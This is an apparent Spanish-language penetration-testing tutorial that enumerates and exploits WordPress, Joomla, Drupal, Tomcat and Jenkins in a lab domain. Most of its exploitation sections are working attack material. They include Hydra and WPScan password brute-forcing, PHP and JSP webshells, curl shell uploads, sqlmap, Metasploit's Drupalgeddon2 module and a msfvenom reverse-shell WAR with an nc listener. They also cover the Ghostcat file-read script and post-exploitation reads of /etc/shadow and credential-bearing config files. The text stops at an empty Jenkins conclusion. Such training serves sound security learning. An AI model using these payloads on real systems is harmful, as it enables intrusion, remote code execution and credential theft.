Secciones
Introducción
En el mundo actual, donde las empresas operan en entornos híbridos y digitalizados, las aplicaciones web se han convertido en piezas fundamentales para la comunicación, productividad y gestión interna. Sin embargo, esta dependencia también las convierte en objetivos principales para ciberatacantes y actores maliciosos. Las vulnerabilidades en aplicaciones comunes, tanto comerciales como de código abierto, son una de las vías más frecuentes para comprometer entornos corporativos, ya sea desde internet o desde redes internas.
A lo largo de este contenido aprenderás a:
- Preparar un entorno de pruebas profesional.
- Identificar e identificar tecnologías web mediante escaneos y técnicas OSINT.
- Atacar plataformas como WordPress, Joomla, Drupal, Tomcat, Jenkins, Splunk, GitLab y muchas otras.
- Explorar rutas de explotación usando configuraciones por defecto, fallos de lógica o funcionalidades expuestas.
- Automatizar procesos de descubrimiento y documentación con herramientas como Nmap, EyeWitness, Aquatone y Gobuster.
Además, la guía no se limita a enseñar técnicas de ataque, sino que también ofrece reflexiones sobre el valor de una metodología sólida, la documentación efectiva, y el papel fundamental que juega la organización durante una evaluación real.
El conocimiento que desarrollarás aquí no solo es útil para pruebas de penetración con fines éticos, sino que también te prepara para enfrentar desafíos reales como Red Team Member, Blue Teamer o Bug Bounty Hunter.
1. Preparación del entorno
Antes de iniciar cualquier análisis o explotación, es vital contar con un entorno bien configurado. Esto no solo te permitirá ejecutar las herramientas adecuadamente, sino también mantener la trazabilidad y organización de los datos obtenidos. Aquí aprenderás a configurar tu entorno de pruebas con precisión, incluyendo aspectos como edición del archivo hosts
, preparación de listas de alcance, y uso básico de herramientas esenciales.
Edición del archivo /etc/hosts
Cuando trabajamos en entornos de laboratorio con múltiples servidores web virtuales (vhosts), necesitamos que nuestro sistema operativo sepa a qué IP debe resolver cada uno de los subdominios. Para esto, modificamos el archivo /etc/hosts
en nuestro sistema Linux:
sudo vim /etc/hosts
O bien con redirección desde terminal:
IP=10.129.42.195
printf "%s\t%s\n\n" "$IP" "app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local" | sudo tee -a /etc/hosts
Este comando añade múltiples dominios virtuales a la IP especificada, algo esencial para simular entornos empresariales.
Estructura del archivo hosts
tras editar:
127.0.0.1 localhost
::1 ip6-localhost ip6-loopback
...
10.129.42.195 app.inlanefreight.local dev.inlanefreight.local blog.inlanefreight.local
Herramientas necesarias
Algunas herramientas que debes tener preparadas desde el inicio son:
- Nmap: para escaneo de puertos y servicios.
- EyeWitness y Aquatone: para capturas de pantalla de servicios web.
- Gobuster: para fuerza bruta de directorios y archivos.
- wpscan, droopescan, etc.: para enumeración y ataque a CMS.
Instálalas con:
sudo apt update && sudo apt install nmap eyewitness gobuster
Para instalar Aquatone
manualmente:
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip
chmod +x aquatone
sudo mv aquatone /usr/local/bin/
Y para clonar y usar EyeWitness:
git clone https://github.com/FortyNorthSecurity/EyeWitness.git
cd EyeWitness/Python/setup
./setup.sh
Con este entorno ya listo, puedes comenzar a trabajar con cualquier aplicación de destino como si estuvieras frente a un entorno real de producción.
2. Introducción a los ataques a aplicaciones comunes
Las aplicaciones web están en el centro de las operaciones digitales modernas. Desde simples blogs hasta complejos sistemas empresariales, estas aplicaciones son esenciales para la actividad diaria de organizaciones en todos los sectores. Sin embargo, esta dependencia tecnológica las convierte también en un objetivo recurrente para actores maliciosos.
¿Por qué son tan atractivas para los atacantes?
- Están comúnmente expuestas a internet.
- Muchas implementaciones quedan desactualizadas o mal configuradas.
- Se utilizan ampliamente plugins, extensiones o integraciones de terceros.
- Almacenan datos sensibles como credenciales, información financiera o de clientes.
Incluso aplicaciones ampliamente utilizadas como WordPress, Joomla, Tomcat o Jenkins pueden presentar vulnerabilidades por configuraciones inseguras, falta de parches o simplemente por exposición de funciones administrativas sin restricciones.
Casos comunes de vulnerabilidades
Las fallas que más frecuentemente se explotan incluyen:
- Inyecciones SQL: manipulación de consultas a bases de datos.
- XSS (Cross-Site Scripting): inyección de scripts en el lado del cliente.
- RCE (Remote Code Execution): ejecución de comandos en el servidor.
- LFI/RFI: inclusión de archivos locales o remotos.
- Default credentials: uso de contraseñas por defecto no modificadas.
Estas vulnerabilidades están recogidas en el famoso listado OWASP Top 10, un estándar de referencia para identificar los riesgos de seguridad más críticos en aplicaciones web.
Arquitectura típica de una aplicación web
Para entender mejor dónde pueden producirse fallos, hay que conocer la estructura general de una aplicación web:
- Frontend: HTML, CSS, JS ejecutándose en el navegador.
- Backend: lógica de negocio en PHP, Java, Python, etc., ejecutándose en el servidor.
- Base de datos: MySQL, PostgreSQL, MongoDB, etc.
Los ataques pueden dirigirse a cualquiera de estas capas, dependiendo de la superficie expuesta.
Contexto actual y cifras preocupantes
La exposición de servicios web ha aumentado con el auge del trabajo remoto y la migración a la nube. Esto ha llevado a que incluso entornos internos, antes aislados, sean ahora más accesibles para ataques externos.
Un estudio de Barracuda de 2021 mostró que:
- El 72% de las empresas encuestadas sufrió al menos una brecha por vulnerabilidad en aplicaciones web.
- El 32% sufrió dos brechas.
- El 14% sufrió tres o más.
La mentalidad del pentester
Un buen pentester no solo ejecuta herramientas; analiza comportamientos, interpreta estructuras y busca inconsistencias. Las habilidades clave incluyen:
- Exploración manual estructurada.
- Reconocimiento de funcionalidades ocultas o no documentadas.
- Curiosidad técnica constante.
«Las herramientas automatizadas detectan mucho. La mente humana, lo verdaderamente crítico.»
Esta sección sirve como base conceptual. En las próximas lecciones veremos cómo aplicar todo esto de forma práctica contra tecnologías específicas y entornos reales simulados.
3. Descubrimiento y enumeración de aplicaciones
El descubrimiento y la enumeración son fases críticas dentro de cualquier prueba de penetración. Aquí es donde se recopila la mayor cantidad posible de información sobre los sistemas disponibles, servicios activos y tecnologías implementadas. En esta sección veremos cómo identificar aplicaciones web activas, cómo escanear puertos comunes y cómo utilizar herramientas que nos permiten visualizar rápidamente la superficie de ataque.
¿Por qué es importante esta fase?
Una organización no puede proteger lo que no conoce. De igual forma, un atacante o pentester no puede comprometer eficazmente un sistema sin antes tener una visión clara de:
- Qué aplicaciones están en uso.
- Qué versiones están desplegadas.
- Qué servicios escuchan en qué puertos.
Este reconocimiento puede revelar versiones vulnerables, configuraciones por defecto o aplicaciones olvidadas.
Paso 1: Crear lista de alcance
Antes de escanear, necesitas una lista de dominios/IPs en el entorno objetivo. Por ejemplo:
app.inlanefreight.local
dev.inlanefreight.local
blog.inlanefreight.local
...
Paso 2: Escaneo de puertos con Nmap
Ejecutamos un escaneo de puertos web comunes:
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list
Este comando:
- Escanea los puertos más utilizados por aplicaciones web.
- Filtra solo servicios abiertos.
- Guarda los resultados en múltiples formatos (
.nmap
,.xml
,.gnmap
).
Paso 3: Captura visual con EyeWitness
Una vez completado el escaneo, utilizamos EyeWitness para generar capturas de pantalla de los servicios web detectados:
eyewitness --web -x web_discovery.xml -d inlanefreight_eyewitness
Esto abrirá automáticamente los puertos web detectados y generará un informe con imágenes y metadatos útiles.
Paso 4: Uso de Aquatone
Aquatone es una alternativa moderna y rápida para inspección visual de servicios web:
cat web_discovery.xml | ./aquatone -nmap
Esto generará un informe HTML con capturas de todos los puertos accesibles, organizados por categorías. Muy útil para entornos con muchos vhosts.
Paso 5: Escaneo de versiones con Nmap (-sV)
Para obtener más contexto, ejecutamos escaneo de versiones:
sudo nmap -sV -p 80,443,8080 <IP del host>
Esto revelará la tecnología exacta detrás del servicio:
80/tcp open http Apache httpd 2.4.46
8080/tcp open http Jetty 9.4.x (Jenkins)
Paso 6: Organización y documentación
Todo hallazgo debe registrarse. Lo ideal es utilizar herramientas como Notion, Obsidian, CherryTree o incluso OneNote para llevar registro por:
- Dominio/IP.
- Puertos abiertos.
- Servicios detectados.
- Tecnología y versiones.
- URLs interesantes o con paneles de login.
La documentación detallada es tu mejor aliada durante la fase de explotación y especialmente al momento de redactar el informe final.
Recomendación final
La enumeración es iterativa. A medida que avanzas, descubrirás nuevos dominios, puertos y aplicaciones que deberán agregarse a tu lista inicial.
Mantén siempre una mentalidad de descubrimiento continuo. Una aplicación web sin protección puede ser la puerta de entrada a todo un dominio interno.
4. WordPress – Descubrimiento y enumeración
WordPress es, sin duda, uno de los sistemas de gestión de contenido (CMS) más utilizados en el mundo. Su versatilidad, facilidad de uso y enorme ecosistema de plugins y temas lo hacen atractivo, pero también propenso a ser objetivo de ataques.
Esta sección se enfoca en cómo identificar una instalación de WordPress, extraer información útil y preparar el terreno para una eventual explotación.
¿Cómo identificar un sitio con WordPress?
Hay múltiples indicadores que nos permiten detectar rápidamente un sitio que utiliza WordPress:
1º. Acceso al archivo robots.txt
curl -s http://<target>/robots.txt
Busca rutas como:
/wp-admin/
/wp-content/
2º. Metadatos en el código fuente HTML
curl -s http://<target> | grep -i "wordpress"
Salida típica:
<meta name="generator" content="WordPress 5.8" />
3º. Acceso directo a rutas conocidas
/wp-login.php
/wp-content/plugins/
/wp-json/wp/v2/
Estas rutas pueden ser accedidas con navegador o mediante herramientas como curl
.
Enumeración manual de usuarios
Muchos sitios de WordPress permiten enumerar autores por defecto:
curl -s http://<target>/?author=1
Esto redirecciona a /author/<username>/
, lo que revela el nombre del usuario.
Puedes automatizar este proceso probando valores incrementales hasta encontrar todos los usuarios públicos.
Enumeración con WPScan
wpscan
es una herramienta poderosa diseñada exclusivamente para analizar WordPress. Es altamente recomendable para esta fase.
Instalación:
sudo apt install wpscan
Enumerar todo lo posible:
wpscan --url http://<target> --enumerate u,vp,vt,cb,dbe
u
: usuariosvp
: plugins vulnerablesvt
: temas vulnerablescb
: configuraciones comunesdbe
: DB Exposures
Ejemplo de enumeración simple de usuarios:
wpscan --url http://blog.inlanefreight.local --enumerate u
Enumeración con ataque de diccionario
wpscan --url http://blog.inlanefreight.local --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt -t 20
Enumeración de plugins
Puedes detectar plugins activos simplemente navegando a:
http://<target>/wp-content/plugins/<nombre_del_plugin>/
O usar Gobuster para fuerza bruta:
gobuster dir -u http://<target> \
-w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt \
-x php,txt,html -t 50
Busca rutas como:
/wp-content/plugins/
/wp-content/themes/
Toma de notas y preparación
Durante esta fase, documenta lo siguiente:
- Versión detectada de WordPress.
- Usuarios enumerados.
- Plugins y temas visibles.
- Archivos de interés (readme.txt, changelog.txt, backup.zip, etc.).
Esta información será esencial para identificar vectores de ataque, plugins vulnerables y planificar ataques de fuerza bruta o RCE en la siguiente etapa.
5. WordPress – Explotación
Una vez que hemos identificado que el objetivo utiliza WordPress y hemos recopilado información sobre usuarios, plugins, temas y posibles archivos sensibles, llega el momento de pasar a la fase activa: la explotación. Aquí nos enfocaremos en técnicas prácticas que pueden permitirnos acceder al backend administrativo, ejecutar código remoto o incluso conseguir una shell en el servidor.
5.1. Ataques de fuerza bruta (login o XML-RPC)
WordPress expone un endpoint XML-RPC que puede ser utilizado para ataques de fuerza bruta.
Ataque con WPScan
wpscan --url http://blog.inlanefreight.local --password-attack xmlrpc -U admin -P /usr/share/wordlists/rockyou.txt -t 20
--password-attack xmlrpc
: fuerza bruta vía API XML-RPC.-U
: usuario objetivo.-P
: lista de contraseñas.
También puedes intentar con la clásica interfaz de login (/wp-login.php
) si no hay protección contra múltiples intentos.
5.2. Explotación de plugins vulnerables
Una vez identificados los plugins, busca si alguno tiene vulnerabilidades conocidas. Puedes usar:
Ejemplo: Plugin vulnerable a RCE
curl -X POST http://<target>/wp-content/plugins/<plugin>/vuln.php -d 'cmd=id'
Muchos exploits disponibles son públicos, y se pueden adaptar fácilmente con curl o scripts en Python.
5.3. Subida de webshell desde panel administrativo
Si lograste credenciales válidas de admin:
- Inicia sesión en
/wp-admin
. - Ve a «Apariencia» > «Editor de temas».
- Elige un archivo
.php
, como404.php
oindex.php
. - Inserta código PHP para una reverse shell:
<?php system($_GET['cmd']); ?>
Luego accede así:
http://<target>/wp-content/themes/<tema>/404.php?cmd=id
5.4. Abuso de funcionalidades
Algunas versiones permiten subir archivos en secciones como:
- Formularios de contacto.
- Plugins de galería o descarga.
- Funcionalidades de backup o exportación.
Busca extensiones como .zip
, .php
, .phar
, .phtml
, etc., y prueba si son ejecutables desde la web.
5.5. Escalada post-explotación
Una vez dentro del backend de WordPress o si consigues acceso shell:
- Verifica el archivo
wp-config.php
para obtener credenciales de base de datos.
cat wp-config.php
- Examina plugins instalados desde el directorio:
ls wp-content/plugins/
- Enumera usuarios y correos desde la base de datos:
SELECT user_login, user_pass, user_email FROM wp_users;
- Revisa configuraciones en
wp_options
para ver URLs ocultas o APIs integradas.
Conclusión
WordPress es poderoso y flexible, pero también ampliamente atacado. Su éxito ha provocado la aparición de miles de vulnerabilidades en plugins y temas. Esta fase de explotación demuestra cómo un atacante puede pasar del simple reconocimiento a tener acceso total, si la aplicación no está correctamente protegida.
6. Joomla – Descubrimiento y enumeración
Joomla es otro CMS ampliamente utilizado, especialmente en entornos corporativos e institucionales. Su estructura modular y extensible lo hace versátil, pero también susceptible a errores de configuración y vulnerabilidades en extensiones de terceros.
En esta sección abordaremos las formas más eficaces de detectar una instalación de Joomla, recolectar información clave y preparar el entorno para posibles ataques.
¿Cómo identificar Joomla en un sitio web?
1º. Explorando la estructura de archivos
Busca patrones típicos en URLs o archivos accesibles:
/administrator/
/components/
/templates/
- Archivos como
README.txt
,htaccess.txt
,language/en-GB/en-GB.xml
2º. Código fuente HTML
Ejecuta:
curl -s http://<target> | grep -i joomla
O inspecciona el HTML en el navegador. Suele incluir metadatos como:
<meta name="generator" content="Joomla! - Open Source Content Management" />
3º. Panel de administración
La ruta común para el backend es:
http://<target>/administrator/
Este panel suele estar accesible si no se ha configurado protección adicional.
Enumeración con herramientas especializadas
Usando WhatWeb
whatweb http://<target>
Muestra tecnologías detectadas, incluyendo la versión de Joomla.
Usando droopescan
Droopescan es una herramienta específica para CMS, compatible con Joomla:
Instalación:
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
Enumerar información sobre Joomla:
./droopescan scan joomla -u http://<target>
Esto intentará detectar:
- Versión de Joomla.
- Plantillas y componentes usados.
- Paneles accesibles.
Enumeración manual de usuarios (si es posible)
A diferencia de WordPress, Joomla no revela usuarios mediante URLs. Sin embargo, puedes intentar fuerza bruta contra el panel de admin si sabes que existe un usuario estándar (admin
, joomla
, etc.).
Usa herramientas como Hydra o Burp Suite Intruder para probar combinaciones de usuario/contraseña en:
http://<target>/administrator/index.php
Fuerza bruta de rutas sensibles
Utiliza Gobuster para encontrar directorios ocultos:
gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html,txt -t 50
Busca rutas como:
/backup/
/logs/
/tmp/
/old/
o/dev/
Recopilación de archivos públicos
Revisa si puedes acceder a archivos de configuración o respaldos accidentales como:
configuration.php~
backup.zip
site.tar.gz
Estos archivos, si están mal protegidos, podrían contener credenciales o rutas internas del servidor.
Resumen para explotación
Una vez recopilados:
- La versión de Joomla.
- El acceso al panel de admin.
- Extensiones instaladas.
- Archivos visibles.
Estarás preparado para ejecutar vulnerabilidades conocidas, escalar privilegios o explotar configuraciones débiles, como veremos en la siguiente sección.
Joomla puede parecer más robusto que WordPress a primera vista, pero muchas instalaciones quedan expuestas por mal uso de componentes de terceros o malas prácticas de despliegue.
7. Joomla – Explotación
Con una instalación Joomla correctamente identificada y enumerada, pasamos a la fase ofensiva: la explotación. En esta sección veremos técnicas comunes para comprometer sitios Joomla, aprovechando desde credenciales débiles hasta vulnerabilidades en extensiones populares.
7.1. Ataques de fuerza bruta al panel de administración
Joomla no bloquea por defecto múltiples intentos de login fallidos. Esto permite realizar fuerza bruta sobre el backend (/administrator/
).
Usando Hydra:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login:Incorrect"
Ajusta el mensaje de error (Incorrect
) al que devuelva el sitio web al fallo de login.
Alternativa con Burp Intruder:
Captura la petición al panel de login, y usa Intruder para automatizar los intentos.
7.2. Explotación de extensiones vulnerables
Muchas instalaciones de Joomla utilizan extensiones de terceros que son frecuentemente vulnerables a:
- RCE (ejecución remota de código).
- LFI (lectura de archivos locales).
- SQLi (inyecciones SQL).
Buscar exploits conocidos
Consulta sitios como:
Busca por el nombre de la extensión detectada en la fase anterior.
Ejemplo de RCE en componente vulnerable:
curl -X POST http://<target>/components/com_example/upload.php -F "file=@shell.php"
Luego accede a:
http://<target>/images/shell.php?cmd=id
7.3. Acceso a archivos mal protegidos
Durante la enumeración, si detectaste archivos como configuration.php~
, puedes obtener información crítica:
curl http://<target>/configuration.php~
Este archivo contiene credenciales como:
public $user = 'root';
public $password = 'pass123';
7.4. Carga de shells desde el backend
Si lograste acceder como administrador:
- Entra a
Extensiones > Plantillas > Personalizar plantilla
. - Edita un archivo
.php
del tema activo. - Añade una línea como:
<?php system($_GET['cmd']); ?>
- Accede a:
http://<target>/templates/<nombre>/index.php?cmd=whoami
También puedes subir archivos desde el gestor multimedia si no hay restricciones MIME.
7.5. Inyección SQL (si aplica)
Algunas extensiones permiten filtrar datos desde la URL sin sanitización. Prueba inyecciones simples:
http://<target>/index.php?option=com_example&id=1'
Verifica errores o cambios en el comportamiento. Automatiza con sqlmap:
sqlmap -u "http://<target>/index.php?option=com_example&id=1" --dbs
7.6. Post-explotación
Una vez con shell o acceso administrador:
- Extrae hashes de la base de datos.
- Enumera otros usuarios.
- Escala privilegios en el sistema si es posible (
sudo
,cronjobs
,setuid
). - Busca archivos
.bak
,.zip
,.sql
,.log
.
Conclusión
Aunque Joomla suele considerarse más estructurado que WordPress, muchas implementaciones reales descuidan aspectos de seguridad crítica. Esta sección demuestra que, con la información correcta, es posible comprometer completamente un sitio si se combinan vulnerabilidades técnicas con malas configuraciones.
8. Drupal – Descubrimiento y enumeración
Drupal es otro CMS de código abierto ampliamente adoptado por gobiernos, universidades y grandes corporaciones. Su arquitectura robusta lo convierte en una opción confiable, pero también en un objetivo de alto valor. Aquí veremos cómo identificar un sitio Drupal, detectar su versión y recolectar información útil para futuras fases de explotación.
8.1. Identificación del CMS
Existen varios indicadores que delatan un sitio construido con Drupal:
Estructura de archivos típica:
/sites/default/
/core/
/modules/
/CHANGELOG.txt
/user/login
Revisión de metadatos HTML:
curl -s http://<target> | grep -i drupal
Salida común:
<meta name="Generator" content="Drupal 8 (https://www.drupal.org)" />
Detección con herramientas automáticas:
WhatWeb:
whatweb http://<target>
Wappalyzer o BuiltWith (extensiones del navegador)
8.2. Enumeración de versión
Una forma clásica de detectar la versión es accediendo a CHANGELOG.txt
:
curl http://<target>/CHANGELOG.txt | head -n 10
Este archivo revela la versión exacta si no ha sido eliminado:
Drupal 8.9.13, 2021-03-03
-------------------------
También puedes revisar la cabecera del código fuente o rutas como /core/install.php
.
8.3. Acceso al panel de login
Por defecto, Drupal utiliza:
http://<target>/user/login
Esto permite probar si el panel de autenticación está activo y accesible. También puede usarse para fuerza bruta o testing de usuarios válidos.
8.4. Enumeración con droopescan
Droopescan es compatible con Drupal y permite escanear múltiples vectores:
./droopescan scan drupal -u http://<target>
Detectará:
- Versión.
- Módulos instalados.
- Temas activos.
- Paneles visibles.
8.5. Búsqueda de módulos vulnerables
Los módulos de terceros representan un riesgo considerable. Muchas veces no se actualizan y pueden permitir ejecución remota, lectura de archivos o bypass de autenticación.
Para saber qué módulos están expuestos:
- Fuerza bruta
/modules/<modulo>/
con Gobuster:
gobuster dir -u http://<target>/modules/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 30
- Analiza las rutas detectadas y busca versiones públicas.
8.6. Recopilación de archivos sensibles
Busca archivos mal protegidos o accesibles por error, como:
settings.php
backup.sql
.tar.gz
y.zip
Ejemplo:
curl http://<target>/sites/default/settings.php
Este archivo puede contener credenciales de base de datos o rutas internas.
8.7. Usuarios y perfiles
A través de los perfiles públicos, es posible enumerar usuarios válidos:
http://<target>/user/1
http://<target>/user/2
Esto puede revelar nombres, roles e incluso correos electrónicos dependiendo de la configuración de privacidad del sitio.
Conclusión
Con esta fase de reconocimiento tendrás toda la información necesaria para evaluar vulnerabilidades, buscar exploits o planificar fuerza bruta en módulos o sesiones. Drupal, aunque robusto, puede ser mal administrado y caer ante fallos clásicos o configuraciones negligentes.
9. Drupal – Explotación
Una vez identificado un sitio Drupal y recolectada información clave sobre su versión, módulos activos y estructura, pasamos a la fase ofensiva: la explotación. Drupal ha sido históricamente vulnerable a varios fallos críticos, siendo uno de los más conocidos el infame Drupalgeddon.
En esta sección exploraremos vectores comunes de ataque, explotación de módulos y técnicas para escalar privilegios en el entorno comprometido.
9.1. Explotaciones históricas: Drupalgeddon 1 y 2
CVE-2018-7600 – Drupalgeddon 2 (RCE sin autenticación)
Este fallo crítico afecta múltiples versiones de Drupal 7 y 8 y permite ejecución remota de comandos.
Verifica si la versión es vulnerable consultando el archivo CHANGELOG.txt
o usando droopescan.
Ejemplo de explotación con Metasploit
:
msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS <target>
set TARGETURI /
exploit
También puedes usar scripts en Python disponibles en GitHub para explotación directa sin Metasploit.
9.2. Fuerza bruta al login /user/login
Si identificaste usuarios válidos a través de /user/1
, /user/2
, puedes intentar ataques de diccionario:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> http-post-form "/user/login:name=^USER^&pass=^PASS^&form_id=user_login:Login incorrect"
9.3. Explotación de módulos vulnerables
Durante la fase de enumeración, si encontraste módulos específicos como:
views
rest
ckeditor
Busca en Exploit-DB o CVE Details si existe alguna vulnerabilidad conocida.
Ejemplo: si un módulo de importación de contenido permite subir archivos .php
, podrías obtener una webshell así:
curl -F "upload=@shell.php" http://<target>/modules/content_import/upload.php
Y luego acceder a:
http://<target>/sites/default/files/shell.php?cmd=id
9.4. Acceso a configuración
Si logras descargar el archivo settings.php
, puedes encontrar credenciales:
$databases['default']['default'] = array (
'database' => 'drupaldb',
'username' => 'drupaluser',
'password' => 'SuperSecret123',
);
Estas credenciales pueden reutilizarse para conectarte vía MySQL o probar login en otros servicios.
9.5. Comandos útiles una vez con acceso
Si lograste subir una shell o conseguir RCE, ejecuta:
whoami
uname -a
id
cat /etc/passwd
find / -name "*config*" 2>/dev/null
Evalúa la posibilidad de escalar privilegios, moverte lateralmente o leer contenido sensible.
9.6. Post-explotación: acceso a base de datos
Una vez dentro, con acceso shell o MySQL, extrae los hashes de usuarios:
SELECT name, mail, pass FROM users;
Los hashes se pueden crackear con John o Hashcat si son del tipo $S$
(Drupal 7) o $argon2
(Drupal 8+).
Conclusión
Drupal es potente y flexible, pero como cualquier software, requiere una administración responsable. Cuando los módulos no se actualizan, las configuraciones por defecto se dejan expuestas o los archivos sensibles no se protegen adecuadamente, incluso las versiones más nuevas pueden caer.
10. Tomcat – Descubrimiento y enumeración
Apache Tomcat es un servidor de aplicaciones ampliamente utilizado para ejecutar aplicaciones Java. Aunque es robusto, es frecuente encontrar implementaciones con configuraciones débiles, interfaces administrativas expuestas o credenciales por defecto. En esta sección aprenderás a detectar servidores Tomcat, analizar su superficie expuesta y preparar el terreno para explotación.
10.1. Detección del servicio
El primer paso es identificar Tomcat a través de escaneo de puertos típicos:
nmap -p 8080,8009,8005 --open -sV <target>
Los puertos comunes para Tomcat incluyen:
8080
: interfaz HTTP de administración.8009
: conector AJP.8005
: puerto de apagado (a veces vulnerable).
Salida esperada:
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
10.2. Navegación web manual
Accede con navegador a:
http://<target>:8080
Busca las siguientes rutas:
/manager/html
→ consola de administración./host-manager/html
/docs/
,/examples/
,/servlets-examples/
Algunas de estas requieren autenticación básica HTTP. Si están abiertas, podrían permitir despliegue de WARs o ejecución remota.
10.3. Enumeración con Nmap NSE
Nmap tiene scripts específicos para Tomcat:
nmap -p 8080 --script http-enum,http-auth,http-title <target>
Para comprobar credenciales por defecto:
nmap -p 8080 --script http-brute --script-args userdb=users.txt,passdb=rockyou.txt,http-brute.path=/manager/html <target>
Sugerencia: utiliza listas que incluyan combinaciones como
tomcat:tomcat
,admin:admin
,admin:s3cret
, etc.
10.4. Enumeración manual de credenciales
Haz peticiones manuales para comprobar acceso con curl:
curl -u tomcat:tomcat http://<target>:8080/manager/html
Si obtienes respuesta con estado 200, tienes acceso válido.
También puedes probar autenticación básica con Burp Intruder.
10.5. Exploración del conector AJP
El puerto 8009
puede estar expuesto y vulnerable a manipulación mediante el protocolo AJP. Puedes escanearlo con:
nmap -p 8009 --script ajp-methods <target>
O usar herramientas especializadas como Ghostcat (CVE-2020-1938):
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
Este vector permite leer archivos locales si la configuración lo permite.
10.6. Enumeración de aplicaciones desplegadas
Visita:
http://<target>:8080/manager/html
Si accedes con credenciales válidas, verás un listado de aplicaciones desplegadas con rutas como:
/examples
/docs
/myapp
Estos WAR pueden contener información útil o permitir ejecución arbitraria si no están bien protegidos.
Conclusión
Tomcat es una plataforma comúnmente mal protegida en entornos de desarrollo, staging o incluso producción. La enumeración efectiva puede revelar puertas de entrada críticas como paneles expuestos o conectores mal configurados.
11. Tomcat – Explotación
Con los vectores y servicios expuestos identificados en la fase anterior, ahora entramos en la fase de explotación activa sobre servidores Apache Tomcat. Esta sección cubre técnicas como el despliegue de aplicaciones maliciosas (WAR), abuso del conector AJP (Ghostcat) y explotación de configuraciones por defecto o credenciales filtradas.
11.1. Despliegue de WAR a través del panel de administración
Si se logró acceso a /manager/html
con credenciales válidas:
- Accede a
http://<target>:8080/manager/html
. - Sube un archivo
.war
malicioso con una webshell incorporada.
Generar WAR con msfvenom:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tu_IP> LPORT=4444 -f war > shell.war
Luego escucha con netcat:
nc -lvnp 4444
Después de desplegar, accede a:
http://<target>:8080/shell/
Esto iniciará la reverse shell hacia tu máquina.
11.2. Abuso del conector AJP (Ghostcat)
CVE-2020-1938 – Ghostcat
Cuando el puerto 8009 está abierto y vulnerable, puedes leer archivos arbitrarios usando el protocolo AJP.
Ejecuta el script público:
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python ajp-lfi.py -u ajp://<target>:8009/ --file /WEB-INF/web.xml
Puedes extraer configuraciones sensibles, rutas internas o incluso archivos .jsp
vulnerables para su posterior modificación.
11.3. Explotación sin credenciales: métodos alternativos
Algunas implementaciones permiten desplegar WAR sin autenticación por fallos de configuración o errores en control de acceso:
- Prueba rutas como
/manager/text/deploy
con autenticación básica por defecto. - Usa
curl
para pruebas:
curl -u tomcat:tomcat -T shell.war "http://<target>:8080/manager/text/deploy?path=/shell&update=true"
11.4. Shells y payloads en formato JSP
Tomcat interpreta archivos .jsp
, lo cual permite incrustar código directamente:
Shell simple JSP:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
%>
Guárdalo como shell.jsp
, empaquétalo en un WAR y súbelo.
11.5. Persistencia y post-explotación
Una vez con acceso shell:
- Revisa
/etc/shadow
,/etc/passwd
si tienes privilegios. - Enumera crons, servicios activos, sockets abiertos.
- Explora directorios como
/home
,/opt
,/var/lib/tomcat*/
. - Busca archivos
.xml
,.properties
,.keystore
que puedan contener credenciales o secretos.
Conclusión
Apache Tomcat puede convertirse en una vía de entrada muy poderosa si no está adecuadamente asegurado. El simple hecho de tener habilitado el panel /manager/html
o el conector AJP sin protección ya constituye un riesgo elevado.
12. Jenkins – Descubrimiento y enumeración
Jenkins es una herramienta de automatización muy usada en entornos DevOps, especialmente para integración y entrega continua (CI/CD). Al estar construida sobre Java y frecuentemente desplegada sobre Tomcat, es común encontrarla en el mismo servidor o en redes internas corporativas.
En esta sección veremos cómo identificar un servicio Jenkins, determinar si está expuesto, y extraer información útil que pueda facilitar su explotación posterior.
12.1. Identificación de Jenkins
Jenkins se suele desplegar en:
http://<target>:8080/
http://<target>:8080/jenkins
Verificación rápida con Nmap
nmap -p 8080 --script http-title,http-headers <target>
Resultado esperado:
8080/tcp open http Jetty 9.x (Jenkins)
También puedes identificarlo visualmente accediendo con navegador y buscando el banner de Jenkins o /login
.
12.2. Recolección pasiva
Uso de WhatWeb
whatweb http://<target>:8080
Detectará Jenkins por encabezados HTTP o pie de página HTML.
Uso de curl
curl -I http://<target>:8080
Busca:
X-Jenkins: 2.319.1
X-Hudson: 1.395
12.3. Enumeración del panel de login
Accede a:
http://<target>:8080/login
Si el servidor está mal configurado o no protegido, puedes ver el dashboard principal sin autenticar.
En versiones antiguas, era posible enumerar usuarios o incluso leer configuraciones directamente desde el navegador si no se restringía el acceso a rutas como:
/script
/computer/
/user/admin/configure
12.4. Uso de scripts NSE y dirb
Scripts Nmap
nmap -p 8080 --script http-enum <target>
Detectará rutas accesibles:
/view/All/
/whoAmI
/scriptText
Fuerza bruta con dirb o gobuster
gobuster dir -u http://<target>:8080/ -w /usr/share/wordlists/dirb/common.txt
Busca rutas sensibles como:
/scriptText
/credentials/store/system/domain/_/
/userContent/
12.5. Verificación de API pública
Jenkins tiene una API REST que puede estar accesible:
curl http://<target>:8080/api/json
O más específica:
curl http://<target>:8080/user/admin/api/json
Si la respuesta contiene datos, el sistema no está restringido correctamente.
12.6. Extracción de versión
Jenkins expone su versión en la cabecera HTTP:
curl -I http://<target>:8080 | grep -i jenkins
Salida típica:
X-Jenkins: 2.263.4
Conclusión
